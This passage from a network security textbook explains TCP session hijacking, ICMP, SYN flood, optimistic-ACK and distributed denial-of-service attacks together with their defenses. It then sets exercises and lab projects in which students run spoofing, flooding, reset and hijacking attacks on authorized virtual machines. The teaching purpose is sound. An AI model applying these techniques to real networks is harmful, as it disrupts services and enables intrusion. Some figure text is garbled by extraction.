to a prediction of the next expected number (based on information
gathered by other means), again spoofing the source IP to be that of
the client victim.

4. The attacker can now send requests to the server as if he is the client
victim.
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Blind Injection

Note that the above attack only allows one-way communication, since the
attacker cannot receive any replies from the server due to the use of IP
spoofing. Nevertheless, this method may allow an attacker to subvert a
system that executes certain commands based on the source IP address of
the requester. Indeed, Kevin Mitnick is said to have used this attack in 1995
for such a purpose. This type of attack is known as a blind injection, be-
cause it is done without anticipating being able to see the server’s response.
Alternatively, it may be possible to inject a packet containing a command
that creates a connection back to the attacker.

ACK Storms

A possible side-effect of a blind injection attack is that it can cause a client
and server to become out-of-synchronization with respect to sequence
numbers, since the server got a synchronized message the client never
actually sent. TCP incorporates a method for clients and servers to become
resynchronized when they get out of step, but it doesn’t easily tolerate
the kind of desynchronization that happens after a blind injection attack.
So, after such an attack, the client and server might start sending ACK
messages to each other, each trying to tell the other to start using “correct”
sequence numbers. This back-and-forth communication is known as an
ACK storm, and it can continue until one of these messages is lost by
accident or a firewall detects an ACK storm in progress and discards a bad
ACK message.

Complete Session Hijacking

When an attacker is on the same network segment as the target server
and/or client, an attacker can completely hijack an existing TCP session.
This attack is possible because an attacker can use packet sniffing to see the
sequence numbers of the packets used to establish the session. Given this
information, an attacker can inject a packet with a highly probable sequence
number (and a well-chosen attack command) to the server using a spoofed
source IP address impersonating the client.

If used in combination with other network attacks, the possibility of an
attacker who is in the same network segment as the target server and/or
client victim allows for an even stronger type of session hijacking attack. In
particular, an attacker on the same network segment as the client and/or
server can use packet sniffing to see the sequence numbers of the packets
used to establish a TCP session, as in a complete session-stealing attack. But
he can also sometimes go a step further, by creating a man-in-the-middle
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situation, e.g., using the ARP spoofing method discussed in Section 2.3.
Once a man-in-the-middle scenario is in place, the attacker can then per-
form all subsequent actions as if he were the user he is masquerading as
(by spoofed IP source addresses), and he can intercept all responses from
both sides. (See Figure 18.)

Source: 128.220.10.101
Destination: 134 22 9 66

Server (target)
Destination: 134.22.9.66
Seq. no.: 1873994000
Length: 45

Client (victim) 1:

Source: 134.22.9.66
Destination: 128.220.10.101
S 10522890002: Seq. no.: 1052289000
ACK no.: 1873994045
Length: 220128.220.10.101 134.22.9.66

2:
Length: 220

Source: 128.220.10.101
Destination: 134.22.9.66(Man-in-the-middle attack) Attacker3:
Seq. no.: 1873994045
ACK no.: 1052289220
Length: 75

Attacker 4:
Length: 75

Figure 18: A TCP session hijacking attack.

Countermeasures

Countermeasures to TCP session hijacking attacks involve the use of en-
cryption and authentication, either at the network layer, such as using
IPsec, or at the application layer, such as using application-layer  protocols
that encrypt entire sessions. In addition, web sites should avoid creating
sessions that begin with secure authentication measures but subsequently
switch over to unencrypted exchanges. Such sessions trad

jacking attack.
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5 Denial-of-Service Attacks

Because bandwidth in a network is finite, the number of connections a web
server can maintain to clients is limited. Each connection to a server needs a
minimum amount of network capacity to function. When a server has used
up its bandwidth or the ability of its processors to respond to requests, then
additional attempted connections are dropped and some potential clients
will be unable to access the resources provided by the server. Any attack
that is designed to cause a machine or piece of software to be unavailable
and unable to perform its basic functionality is known as a denial-of-
service (DOS) attack. This includes any situation that causes a server to not
function properly, but most often refers to deliberate attempts to exceed the
maximum available bandwidth of a server.

Because attackers in a DOS attack are not concerned with receiving
any responses from a target, spoofing the source IP address is commonly
used to obscure the identity of the attacker as well as make mitigation of
the attack more difficult. Because some servers may stop DOS attacks by
dropping all packets from certain blacklisted IP addresses, attackers can
generate a unique source IP address for every packet sent, preventing the
target from successfully identifying and blocking the attacker. This use of
IP spoofing therefore makes it more difficult to target the source of a DOS
attack. Before we can discuss countermeasures to DOS attacks, however, let
us discuss some of the different kinds of network-based DOS attacks.

5.1 ICMP Attacks

Two simple DOS attacks, ping flood and smurf, exploit ICMP.

The Ping Flood Attack

As discussed in Section 3.2, the ping utility sends an ICMP echo request to
a host, which in turn replies with an ICMP echo response. Normally, ping
is used as a simple way to see if a host is working properly, but in a ping
flood attack, a powerful machine can perform a DOS attack on a weaker
machine. To carry out the attack, a powerful machine sends a massive
amounts of echo requests to a single victim server. If the attacker can create
many more ping requests than the victim can process, and the victim has
enough network bandwidth to receive all these requests, then the victim
server will be overwhelmed with the traffic and start to drop legitimate
connections.
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The Smurf Attack

A clever variation on this technique that takes advantage of misconfigured
networks is known as a smurf attack. Many networks feature a broadcast
address by which a user can send a packet that is received by every IP
address on the network. Smurf attacks exploit this property by sending
ICMP packets with a source address set to the target and with a destination
address set to the broadcast address of a network.

Once sent, each packet is received by every machine on the network,
at which point every machine sends a reply ICMP packet to the indicated
source address of the target. This results in an amplification effect that
multiplies the number of packets sent by the number of machines on the
network. In these attacks, the victim may be on the exploited network, or
may be an entirely remote target, in which case the identity of the attacker
is further obscured. An example of a smurf attack is depicted in Figure 19.

S dd

Amplifying

Source address
is spoofed with
Target’s IP address Amplifying

Network
g

echo
response

echo
request

echo
response

Attacker

response

Attacker
Target

echo
response

Figure 19: A smurf attack uses a misconfigured network to amplify traffic
intended to overwhelm the bandwidth of a target.

To prevent smurf attacks, administrators should configure hosts and
routers on their networks to ignore broadcast requests. In addition, routers
should be configured to avoid forwarding packets directed to broadcast
addresses, as this poses a security risk in that the network can be used as a
ping flood amplifier. Finally, if a server is relatively weak, it would be wise
for it to ignore ping requests altogether, to avoid ping floods.
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5.2 SYN Flood Attacks

Another type of denial-of-service attack is known as a SYN flood attack.
Recall (from Section 4.1) that to initiate a TCP session, a client first sends a
SYN packet to a server, in response to which the server sends a SYN/ACK
packet. This exchange is normally then followed by the client sending
a concluding ACK packet to the server. If the client never sends the
concluding ACK, however, the server waits for a certain time-out period
and then discards the session.

How a SYN Flood Attack Works

In the SYN flood attack, an attacker sends a large number of SYN packets
to the server, ignores the SYN/ACK replies, and never sends the expected
ACK packets. In fact, an attacker initiating this attack in practice will
probably use random spoofed source addresses in the SYN packets he
sends, so that the SYN/ACK replies are sent to random IP addresses. If
an attacker sends a large amount of SYN packets with no corresponding
ACK packets, the server’s memory will fill up with sequence numbers that
it is remembering in order to match up TCP sessions with expected ACK
packets. These ACK packets will never arrive, so this wasted memory
ultimately blocks out other, legitimate TCP session requests.

Defenses Against SYN Flood Attacks

One commonly used technique to prevent SYN flooding features a mecha-
nism known as SYN cookies, which is credited to Daniel Bernstein. When
SYN cookies are implemented, rather than dropping connections because
its memory is filled, the server sends a specially crafted SYN/ACK packet
without creating a corresponding memory entry. In this response packet,
the server encodes information in the TCP sequence number as follows:

• The first 5 bits are a timestamp realized as a counter incremented
every minute modulo 32.

• The next 3 bits are an encoded value representing the maximum
segment size of transmission.

• The final 24 bits are a MAC of the server and client IP addresses,
the server and client port numbers, and the previously used time-
stamp, computed using a secret key.
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How SYN Cookies Work

According to the TCP specification, a legitimate client must reply with a
sequence number equal to the previously sent sequence number plus 1.
Therefore, when a client replies with an ACK packet, the server subtracts 1
to obtain the previously sent sequence number. It then compares the first
5 bits with the current timestamp to check if the connection has expired.
Next, the server recomputes the 24-bit MAC using known IP and port
information and compares with the value encoded in the sequence number.
Finally, the server decodes the middle 3 bits to finish reconstructing the SYN
queue entry, at which point the TCP connection can continue. If everything
checks out with this SYN cookie check, then the server initiates the TCP
session.

SYN Cookies Limitations

At the time of this writing, Windows has not adopted SYN cookies, but
they are implemented in several Linux distributions. Lack of widespread
adoption may be due to some limitations introduced by the use of SYN
cookies:

• The maximum segment size can only be eight possible values, since
this is the most information that can be encoded in 3 bits.

• SYN cookies do not ordinarily allow the use of the TCP options field,
since this information is usually stored alongside SYN queue entries.

Recent Linux SYN cookie implementations attempt to address this second
limitation by encoding TCP option information in the timestamp field of
TCP packets. Nevertheless, the inability to use several TCP options, many
of which have become commonplace in the years since the initial devel-
opment of SYN cookies, has made SYN cookies an unacceptable option in
some situations.

Alternatives to SYN Cookies

As an alternative, techniques have been developed to more effectively
manage half-opened connections, including implementing a special queue
for half-open connections and not allocating resources for a TCP connection
until an ACK packet has been received. These techniques are currently
implemented in Windows.
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5.3 Optimistic TCP ACK Attack

As mentioned in Section 4.1, the number of TCP packets allowed to be
outstanding during a TCP communication session before requiring an ACK
is known as a congestion window. As a server receives ACKs from a
client, it dynamically adjusts the congestion window size, w, to reflect the
estimated bandwidth available.

The window size grows when ACKs are received, and shrinks when
segments arrive out of order or are not received at all, indicating missing
data. In so doing, TCP helps to keep network congestion down while also
trying to push data through the Internet as quickly as possible without
overloading the capacity of the routers along the path that the packets
are traveling. This congestion-control nature of TCP automatically adjusts
as network conditions change, shrinking the congestion window when
packets are lost and increasing it when they are successfully acknowledged.

How the Optimistic TCP ACK Attack Works

An optimistic TCP ACK attack is a denial-of-service attack that makes the
congestion-control mechanism of TCP work against itself. In this attack,
a rogue client tries to make a server increase its sending rate until it runs
out of bandwidth and cannot effectively serve anyone else. If performed
simultaneously against many servers, this attack can also create Internet-
wide congestion by overwhelming the bandwidth resources of routers
between the victims and attacker.

The attack is accomplished by the client sending ACKs to packets before
they have been received to make the server increase its transmission speed.
The aim of the client is to acknowledge “in-flight” packets, which have been
sent by the server but have not yet been received by the client.

Defense Against the Optimistic TCP ACK Attack

While this attack has potentially serious impact, it has only rarely been
performed in practice. Because the vulnerability is a consequence of the
design of the TCP protocol itself, a true solution would require a redesign
of TCP. Nevertheless, a real-life attack can be mitigated by implementing
maximum traffic limits per client at the server level, and by promptly
blocking traffic from clients whose traffic patterns indicate denial-of-service
attempts. So it is not a major concern in practice.
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5.4 Distributed Denial-of-Service

Today, most standard DOS attacks are impractical to execute from a single
machine. Modern server technology allows web sites to handle an enor-
mous amount of bandwidth—much greater than the bandwidth possible
from a single machine. Nevertheless, denial-of-service conditions can still
be created by using more than one attacking machine, in what is known
as a distributed denial-of-service (DDOS) attack. In this attack, malicious
users leverage the power of many machines (sometimes hundreds or even
thousands) to direct traffic against a single web site in an attempt to create
denial-of-service conditions. Major web sites, such as Yahoo!, Amazon, and
Google, have been the targets of repeated DDOS attacks. Often, attackers
carry out DDOS attacks by using botnets—large networks of machines that
have been compromised and are controllable remotely. (See Figure 20.)

Botnet Controller (Attacker)

Attack Commands

Botnet:

Network Requestsq

Victim

Figure 20: A botnet used to initiate a distributed denial-of-service attack.

In theory, there is no way to completely eliminate the possibility of a
DDOS attack, since the bandwidth a server is able to provide its users
will always be limited. Still, measures may be taken to mitigate the risks
of DOS attacks. For example, many servers incorporate DOS protection
mechanisms that analyze incoming traffic and drop packets from sources
that are consuming too much bandwidth. Unfortunately, IP spoofing may
make DDOS prevention more difficult, by obscuring the identity of the
attacker bots and providing inconsistent information on where network
traffic is coming from.
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5.5 IP Traceback

In part prompted by the difficulties in determining the true origins of
DDOS attacks featuring spoofed IP addresses, researchers have attempted
to develop the concept of IP traceback: determining the actual origin of a
packet on the Internet, without relying on the IP source field contained in
that potentially falsified packet.

Early IP traceback techniques relied on logging each packet forwarded
by each router. While this approach may be effective, it places significant
space requirements on routers, which may not have incentive to cooperate.
A commonly proposed alternative relies on a technique known as packet
marking. In this approach, routers probabilistically or deterministically
mark forwarded packets with information related to the path that packet
has taken up to that point. Packet-marking schemes have an advantage
in that once a victim has received enough packets to reconstruct a path to
the attacker, no further cooperation is needed on the part of intermediate
routers. A naive scheme would require each router to simply append its
address to the end of a packet before forwarding it to the next router.
While this approach has the advantage that a single packet carries all the
information necessary to reconstruct a path to the attacker, it has a critical
limitation in that it places unreasonably high overhead on routers, which
must append data to every packet passing through. In addition, there is no
mechanism to determine whether packets actually have the unused space
necessary to record the complete path, besides inspecting the packet in-
flight and possibly incurring further overhead by fragmenting the packet.

A more advanced approach to packet marking is known as node sam-
pling. Rather than encoding in each packet a list representing the entire
path, a single field in the IP packet that has only enough room for one
address is used. Each router overwrites this field of each packet with its
own address with some probability p. Given enough packets marked in
this way, a victim can use this field to determine each router traversed
between the attacker and the victim. To reconstruct the path, note that
in a large sample of marked packets, more packets will be marked with
the addresses of routers that are closest to the victim. For example, the
probability that a packet will be marked by the nearest router to the victim
is p, the probability that a packet will be marked by the second-nearest
router (and not overwritten by the nearest router) is p ∗ (1− p), and so on.
Therefore, by computing the expected number of marked packets for each
network hop and correlating these figures with the proportions of packets
retaining marks by each router, the path can be reconstructed.
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Several other IP traceback techniques have been developed, including
some that rely on the use of additional network protocols such as ICMP to
relay path information. While many innovative schemes exist, few have
been implemented in practice, in part due to the fact that these techniques
require widespread cooperation from Internet routers. IP traceback is an
example of a technique that attempts to solve the problem of authentication
at the network layer. Protocol extensions such as IPsec and  solutions  such
as Virtual Private Networking address the same problem by  requiring
cryptographic authentication for packets to verify their origin.
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6 Exercises

For help with exercises, please visit securitybook.net.

Reinforcement

R-1 How many IP addresses are available under IPv6? Is it realistic to
say that IPv6 will never run out of addresses?

R-2 What is the difference between a MAC address and an IP ad-
dress?

R-3 Can two network interfaces have the same MAC address? Why or
why not?

R-4 In the three-way handshake that initiates a TCP connection, if the
SYN request has sequence number 156955003 and the SYN-ACK
reply has sequence number 883790339, what are the sequence and
acknowledgment numbers for the ACK response?

R-5 Can two network interfaces have the same IP address? Why or
why not?

R-6 Show why installing static ARP tables on the machines of a local-
area network does not prevent a malicious machine from intercept-
ing traffic not intended for it.

R-7 Describe the difference between a switch, hub, and IP router, in-
cluding their respective security implications.

R-8 What is an ACK storm and how does it start?
R-9 Jill lives in a large apartment complex and has a Wi-Fi access

point that she keeps in her apartment. She likes her neighbors,
so she doesn’t put any password on her Wi-Fi and lets any of her
neighbors use her Wi-Fi from their nearby apartments if they want
to access the Internet. What kinds of security risks is Jill setting
herself up for?

R-10 Explain how IP broadcast messages can be used to perform a smurf
DOS attack.

R-11 Describe how sequence numbers are used in the TCP protocol.
Why should the initial sequence numbers in the TCP handshake
be randomly generated?

R-12 Why is it that packet sniffing can learn so much about the content
of IP packets?

R-13 Explain why audio and video streams are typically transmitted
over UDP instead of TCP.
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R-14 TCP connections require a lot of overhead, as compared to UDP.
Explain why web sites and file transfers are nevertheless typically
transmitted over TCP instead of UDP.

R-15 How is it that a machine of a private network behind a NAT router
can make a connection with a web server on the public Internet?

R-16 What is a distributed denial-of-service attack and how is it possible
for a single person to orchestrate one?

Creativity

C-1 How many bytes are devoted to header and footer information
(with respect to all layers of the IP protocol stack) of an Ethernet
frame that contains a TCP packet inside it?

C-2 What is the absolute maximum number of IP addresses available
under IPv4 if NAT is used to extend each one as much as possible?

C-3 Suppose you suspect that your session with a server has been
intercepted in a man-in-the-middle attack. You have a key, K, that
you think you share with the server, but you might be only sharing
it with an attacker. But the server also has a public key, KP, which
is widely known, and a private secret key, KS, that goes with it.
Describe how you can either confirm you share K with the server
or discover that you share it only with a man-in-the-middle. Also,
be sure your solution will not be discovered by a packet sniffer.

C-4 Explain how to use the three-way TCP handshake protocol to
perform a distributed denial-of-service attack, such that the victim
is any host computer and the “bots” that are bombarding the victim
with packets are legitimate web servers.

C-5 Describe a data structure for keeping track of all open TCP connec-
tions for a machine. The data structure should support efficiently
adding and deleting connections and searching by host, source
port, and destination port.

C-6 Most modern TCP implementations use pseudo-random number
generators (PRNG) to determine starting sequence numbers for
TCP sessions. With such generators, it is difficult to compute the
ith number generated, given only the (i− 1)st number generated.
Explain what network security risks are created if an attacker is
able to break such a PRNG so that he can in fact easily compute the
ith number generated, given only the (i− 1)st number generated.
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C-7 Either party in an established TCP session is allowed to instantly
kill their session just by sending a packet that has the reset bit, RST,
set to 1. After receiving such a packet, all other packets for this
session are discarded and no further packets for this session are
acknowledged. Explain how to use this fact in a way that allows a
third party to kill an existing TCP connection between two others.
This attack is called a TCP reset attack. Include both the case where
the third party can sniff packets from the existing TCP connection
and the case where he cannot.

C-8 The TCP reset attack, described in the previous exercise, allows an
ISP to easily shutdown any existing TCP session that connects a
host in its network to another machine on the Internet. Describe
some scenarios where it would be ethical and proper for an ISP
to kill such a TCP session in this way and where it would not be
ethical and proper to do so.

C-9 You are the system administrator for an provider that owns a large
network (e.g., at least 64,000 IP addresses). Show how you can use
SYN cookies to perform a DOS attack on a web server.

C-10 Show how to defend against the DOS attack of Exercise C-9.

C-11 Describe how to modify a NAT router to prevent packets with
spoofed IP addresses from exiting a private network.

C-12 To defend against optimistic TCP ACK attacks, it has been sug-
gested to modify the TCP implementation so that data segments
are randomly dropped by the server. Show how this modification
allows one to detect an optimistic ACK attacker.

C-13 You just got a call from the University system administrator, who
says that either you or your roommate is issuing denial-of-service
attacks against other students from your shared network segment.
You know you are not doing this, but you are unsure about your
roommate. How can you tell if this accusation is true or not? And
if it is true, what should you do about it?

C-1 Johnny just set up a TCP connection with a web server in Chicago,
Illinois, claiming he is coming in with a source IP address that
clearly belongs to a network in Copenhagen, Denmark. In exam-
ining the session logs, you notice that he was able to complete the
three-way handshake for this connection in 10 milliseconds. How
can you use this information to prove Johnny is lying?
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Projects

P-1 On an authorized virtual machine network, define three Linux
virtual machines, Host A, Host B, and Attacker, which could in
fact all really be on the same host computer. Let these machines be
on the same LAN. On Attacker (using super-user privilege), write
a simple sniffing tool to capture the packets going from Host A to
Host B. Print out the header of the packets. The pcap library can be
used to implement this tool.

P-2 On an authorized virtual machine network, define three virtual
machines, Client, Server, Attacker, and Observer, which could in
fact all really be on the same host computer. Using a packet-
building tool, like Netwox, which can create TCP, UDP, or IP
packets, have the Attacker perform an ARP spoofing attack on the
Client, so that all traffic from the Server to the Client now goes to
the Attacker. Have the Observer confirm the success of this attack
using a packet sniffer.

P-3 On an authorized virtual machine network, define three virtual
machines, Server, Attacker, and Observer, which could in fact all
really be on the same host computer. Using a packet-building tool,
like Netwox, which can create TCP, UDP, or IP packets, have the
Attacker perform an SYN flood on the Server. Have the Observer
confirm the success of this attack using a packet sniffer and failed
attempts to establish TCP connections with the Server.

P-4 On an authorized virtual machine network, define three virtual
machines, Client, Attacker, and Observer, which could in fact all
really be on the same host computer. Using a packet-building tool,
like Netwox, which can create TCP, UDP, or IP packets, have the
Attacker sniff the packets from the Client and then perform an TCP
reset attack (see Exercise C-7) on the Client. Have the Observer
confirm the success of this attack using a packet sniffer while the
Client is connected to a popular video-streaming web site on the
Internet.

P-5 On an authorized virtual machine network, define four virtual ma-
chines, Client, Server, Attacker, and Observer, which could in fact
all really be on the same host computer. Using a packet-building
tool, like Netwox, which can create TCP, UDP, or IP packets, have
the Attacker perform a TCP session hijacking attack on a TCP con-
nection established between the Client and the Server. Test both the
case when the Attacker can sniff packets from this communication
and the case when he cannot (this latter case might seem difficult,
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but with 32-bit sequence numbers it is not impossible). Have the
Observer confirm the success or failure of this attack using a packet
sniffer.

P-6 Design and implement a system to make a TCP/IP connection
between two virtual machines on a virtual machine network.

P-7 Design and implement the software for a NAT router.
P-8 Working in a team of two or three people, find a Wi-Fi access point

and access it with at least two laptop computers, one of which has
packet-sniffing software installed. Take turns having one person
access the Internet using various tools, such as browsers and email
clients, and having another person watch their packets. Write a
joint report describing the session, including the issues of privacy
and security that it raises.

Chapter Notes

The books by Comer [18] and Tanenbaum [100] cover in detail computer networks
and the protocols outlined in this chapter. Fundamentals of network security
are presented in the books by Kaufman, Perlman, and Speciner [46] and by
Stallings [96]. Authoritative references for Internet standards are the Request
for Comments (RFC) documents by the Internet Engineering Task Force (IETF).
Specifically, the network protocols mentioned in this chapter are described in the
following RFCs:

• RFC 768: User Datagram Protocol (UDP)

• RFC 791: Internet Protocol (IP)

• RFC 792: Internet Control Message Protocol (ICMP)

• RFC 793: Transmission Control Protocol (TCP)

• RFC 826: Address Resolution Protocol (ARP)

Bellovin gives an overview of the vulnerabilities of the core Internet protocols [4].
The optimistic TCP acknowledgment attack is described in CERT vulnerability
note VU#102014 and in the papers by Savage et al. [87] and by Sherwood et al. [93].
In particular, the defense mechanism described in Exercise C-1
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1 The Application Layer and DNS

The physical, link, network, and transportation layers provide a basic
underlying network infrastructure that allows applications to communicate
with each other. It is in the application layer that most of the action of the
Internet takes place.

1.1 A Sample of Application-Layer Protocols

There are many application-layer protocols designed to perform a number
of important tasks at Internet-scale, including the following:

• Domain name system (DNS). This is the protocol that allows us to use
intuitive domain names to refer to Internet hosts rather than using
IP addresses. Most application programs and other application-layer
services rely on DNS.

• Hypertext transfer protocol (HTTP). This is the protocol used to
browse the Web.

• SSL/TLS. This is the protocol used for secure, encrypted browsing
(i.e., with HTTPS).

• IMAP/POP/SMTP. These are protocols that make Internet email pos-
sible.

• File transfer protocol (FTP). This is an old, but still used, protocol that
provides a simple interface for uploading and downloading files. It
does not encrypt data during transfer.

• SOAP. This is a more recent protocol for exchanging structured data
as a part of the web services paradigm.

• Telnet. This is an early remote access protocol. Like FTP, it doesn’t
encrypt connections.

• SSH. This is a more recent secure remote access and administration
protocol.

Each application-layer protocol comes with its own security consid-
erations, and an entire book could be written on the vast number of
application-layer protocols. In this section, we focus on one of the most
commonly used protocols, DNS, since it is one of the pillars of the architec-
ture of the Internet itself.
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1.2 The Domain Name System (DNS)

The domain name system, or DNS, is a fundamental application layer pro-
tocol that is essential to the functioning of the Internet as we know it today.
DNS is a protocol that sits “behind the scenes” for every web browser and
is responsible for resolving domain names, such as www.example.com, to
IP addresses, such as 208.77.188.166. (See Figure 1.)

DNS
l 208 77 188 166

http://www.example.com

www.example.com 208.77.188.166

http://208.77.188.166

My Example Blog Spot

My Example Blog Spot

Vacation
Savings

Vacation
Savings

Savings

Figure 1: The DNS protocol performs a lookup for domain name
www.example.com to find the IP address associated with this domain.

It is hard to imagine surfing the net without DNS, in fact. For instance,
would the Internet still be popular if we had to tell our friends about the
video we just watched on 74.125.127.100?

Domain names are arranged in a hierarchy that can be read by examin-
ing a domain name from right to left. For example, www.example.com has
a top-level domain (TLD) of com, with example.com being a subdomain
of com, and www.example.com being a subdomain of example.com. More
formally, domain names form a rooted tree, where each node corresponds
to a domain and the children of a node correspond to its subdomains. The
root is the empty domain name and the children of the root are associated
with top-level domains.
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Domain Name Registration

There are two primary types of top-level domains in use today:

• Generic top-level domains, such as the popular domains .com, .net,
.edu, and .org

• Country-code top-level domains, such as .au (Australia), .de (Ger-
many), .it (Italy), and .pt (Portugal), with use restricted to entities
within a specific country

Domain names are registered and assigned by domain-name regis-
trars, which are organizations accredited by the Internet Corporation for
Assigned Names and Numbers (ICANN), the same group responsible for
allocating IP address space, or a country-code top-level domain that has
been granted authority to designate registrars. Web site owners wishing to
register a domain name can contact a domain-name registrar to reserve the
name on their behalf.

The registration process itself is pretty simple. Other than a small fee
charged by a domain-name registrar, the rest of the registration process sim-
ply involves providing some contact information. This information is often
publicly available, however, and can be a source of valuable information
for an attacker.

For example, common system utilities such as whois can be used to
retrieve the contact information of the owner of a particular domain, which
might then be used to initiate a social engineering attack. To avoid dis-
closing personal details via this information, some web site owners choose
to use anonymous domain registration services that specifically do not
publish contact information for their customers. Unfortunately, this use
of anonymity can sometimes be abused.

Because of the revenue potential of memorable domain names, a prac-
tice known as cybersquatting or domain squatting has become common-
place. In such a scenario, a person registers a domain name in anticipation
of that domain being desirable or important to another organization, with
the intent of selling the domain to that organization for what can sometimes
be a significant profit. Some cybersquatters go so far as to post negative
remarks or accusations about the target organization on this page to further
encourage the target to purchase the domain in defense of its reputation.
Such practices are now illegal under U.S. law, but it is often difficult to de-
termine the line between malicious intent and coincidental luck in choosing
marketable domain names.
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How DNS is Organized

The hierarchical nature of domain names is reflected in the way the Internet
infrastructure supporting the DNS system works. That is, to resolve a
domain name to its corresponding IP address, the DNS hierarchy is used
to query a distributed system of DNS servers, known as name servers.
At the top of the name-server hierarchy are the root name servers, which
are responsible for top-level domains, such as .com, .it, .net, and .org.
Specifically, the root name servers store the root zone database of records
indicating the authoritative name server of each top-level domain. This
important database is maintained by ICANN. The name servers of each
top-level domain are managed by government and commercial organiza-
tions. For example, the name servers for the .com TLD are managed by
VeriSign, a company incorporated in the U.S., while the name servers for
the .it TLD are managed by the Italian National Research Council, an Italian
government organization. In turn, the TLD name servers store records
for the authoritative name servers of their respective subdomains. Thus,
the authoritative name servers are also organized in a hierarchy. (See
Figure 2.)

com edu

brown.edu

cs.brown.edu

A brown.edu 128.148.128.180
A xxx.brown.edu 128.148.###.###
A xxx.brown.edu 128.148.###.###
A xxx.brown.edu 128.148.###.###
A xxx.brown.edu 128.148.###.###
A xxx.brown.edu 128.148.###.###
A xxx.brown.edu 128.148.###.###
A xxx.brown.edu 128.148.###.###
A xxx.brown.edu 128.148.###.###
A xxx.brown.edu 128.148.###.###
A xxx.brown.edu 128.148.###.###
A xxx.brown.edu 128.148.###.###
A xxx.brown.edu 128.148.###.###
A xxx.brown.edu 128.148.###.###
A xxx.brown.edu 128.148.###.###
...

A cs.brown.edu 128.148.32.110
A xxx.brown.edu 128.148.32.###
A xxx.brown.edu 128.148.32.###
A xxx.brown.edu 128.148.32.###
A xxx.brown.edu 128.148.32.###
A xxx.brown.edu 128.148.32.###
A xxx.brown.edu 128.148.32.###
A xxx.brown.edu 128.148.32.###
A xxx.brown.edu 128.148.32.###
A xxx.brown.edu 128.148.32.###
...

A google.com 66.249.91.104
A xxx.google.com ###########
A xxx.google.com ###########
A xxx.google.com ###########
A xxx.google.com ###########
A xxx.google.com ###########
A xxx.google.com ###########
A xxx.google.com ###########
A xxx.google.com ###########
A xxx.google.com ###########
A xxx.google.com ###########
A xxx.google.com ###########
A xxx.google.com ###########
A xxx.google.com ###########
...

google.com stanford.edumicrosoft.com

...

... ...

A xxx.com  ###########
A xxx.com  ###########
A xxx.com  ###########
A xxx.com  ###########
A xxx.com  ###########
A xxx.com  ###########
A xxx.com  ###########
A xxx.com  ###########
A xxx.com  ###########
A xxx.com  ###########
A xxx.com  ###########
A xxx.com  ###########
A xxx.com  ###########
A xxx.com  ###########
A xxx.com  ###########
A xxx.com  ###########
A xxx.com  ###########
...

A xxx.edu  ###########
A xxx.edu  ###########
A xxx.edu  ###########
A xxx.edu  ###########
A xxx.edu  ###########
A xxx.edu  ###########
A xxx.edu  ###########
A xxx.edu  ###########
A xxx.edu  ###########
A xxx.edu  ###########
A xxx.edu  ###########
A xxx.edu  ###########
A xxx.edu  ###########
A xxx.edu  ###########
...

Amicrosoft.com 207.46.232.182
A xxx.microsoft.com ###########
A xxx.microsoft.com ###########
A xxx.microsoft.com ###########
A xxx.microsoft.com ###########
A xxx.microsoft.com ###########
A xxx.microsoft.com ###########
A xxx.microsoft.com ###########
A xxx.microsoft.com ###########
A xxx.microsoft.com ###########
A xxx.microsoft.com ###########
A xxx.microsoft.com ###########
A xxx.microsoft.com ###########
A xxx.microsoft.com ###########
A xxx.microsoft.com ###########
A xxx.microsoft.com ###########
...

A stanford.edu 171.67.216.18
A xxx.stanford.edu 171.67.###.###
A xxx.stanford.edu 171.67.###.###
A xxx.stanford.edu 171.67.###.###
A xxx.stanford.edu 171.67.###.###
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A xxx.stanford.edu 171.67.###.###
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...

NS com ###########
NS edu ###########
NS net   ###########
NS ca ###########
NS it     ###########
NS us  ###########
NS de  ###########
NS ch ###########
NS au  ###########
NS pt ###########
NS fr ###########
NS uk ###########
...

Figure 2: The hierarchical organization of authoritative name servers. Each
name server stores a collection of records, each providing the address of a
domain or a reference to an authoritative name server for that domain.
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How DNS Queries Work

When a client machine wishes to resolve a domain name such as
www.example.com to an IP address, it contacts a designated name server
assigned to the machine. This designated name server can be, for exam-
ple, a name server of the corporate network to which the client machine
belongs, or a name server of the Internet service provider. The designated
name server handles the resolution of the domain name and returns the
result to the client machine, as follows.

First, the designated name server issues a DNS query to a root name
server. The root server then responds with the address of the server that is
authoritative for the next level of the hierarchy—in this example, it would
reply with the address of the name server responsible for the .com top-
level domain name. On querying this next-level server, it would respond
with the address of the name server responsible for the next subdomain,
which in this case is example.com. This sequence of requests and responses
continues until a name server responds with the IP address of the requested
domain. This final name server is therefore the authoritative responder for
the requested domain name, which in this case is www.example.com.

The process of domain-name resolution is depicted in Figure 3.

Where is 

root
name server

www.example.com?

Try com 
nameserver

ISP DNS
Server

Where is 
www.example.com?

Where is 
www.example.com?

Try example.com 
nameserver

Client com
name server

Where is 
www.example.com?

208 77 188 166

208.77.188.166

example.com208.77.188.166 example.com
name server

Figure 3: A typical execution of a DNS query. The client machine queries
a designated name server, such as a name server of its service provider.
The designated name server in turn queries a root name server, then a top-
level domain name server, and finally the authoritative name server for the
requested domain. Once the intermediate name server resolves the domain
name, it forwards the answer to the client machine.
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DNS Packet Structure

DNS queries and replies are transmitted via a single UDP packet, with TCP
being used as a substitute for requests or replies exceeding 512 bytes. The
standard UDP packet used for DNS consists of a header, a query part, and
an answer part.

The header is formated as follows:

• The header includes a 16-bit query identifier, also called transaction
identifier, which identifies the query and response.

The query part, in turn, consists of the following:

• The query part is a sequence of “questions” (usually just one), each
consisting of the domain name queried and the type of record re-
quested. The query ID is selected by the client sending the query and
is replicated in the response from the server.

The answer part consists of a sequence of DNS records, each of consist-
ing of the following fields:

• The NAME field is of variable length and contains a full domain name.

• The 2-byte TYPE field indicates the type of DNS record. A standard
domain-to-address resolution is described by an A record, but other
types exist as well, including NS records (providing information
about name servers), MX records (providing information about email
resolution), and several other less commonly used record types.

• The 2-byte CLASS field denotes the broad category that the record
applies to, such as IN for Internet domains.

• The 4-byte TTL field specifies how long a record will remain valid, in
seconds.

• The 2-byte RDLENGTH field indicates the length of the data segment,
in bytes.

• The variable-length RDATA segment includes the actual record data.
For example, the RDATA segment of an A record is a 32-bit IP address.
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DNS Caching

Since DNS is a central service utilized by billions of machines connected
to the Internet, without any additional mechanisms, DNS would place an
incredible burden on high-level name servers, especially the root name
servers. In order to reduce DNS traffic and resolve domain names more
efficiently, DNS features a caching mechanism that allows both clients and
lower-level DNS servers to keep a DNS cache, a table of recently receivd
DNS records. A name server can then use this cache to resolve queries
for domain names it has recently answered, rather than consuming the
resources of higher-level name servers. This caching system therefore
overcomes the problem of massive amounts of traffic directed at root name
servers by allowing lower-level name servers to resolve queries.

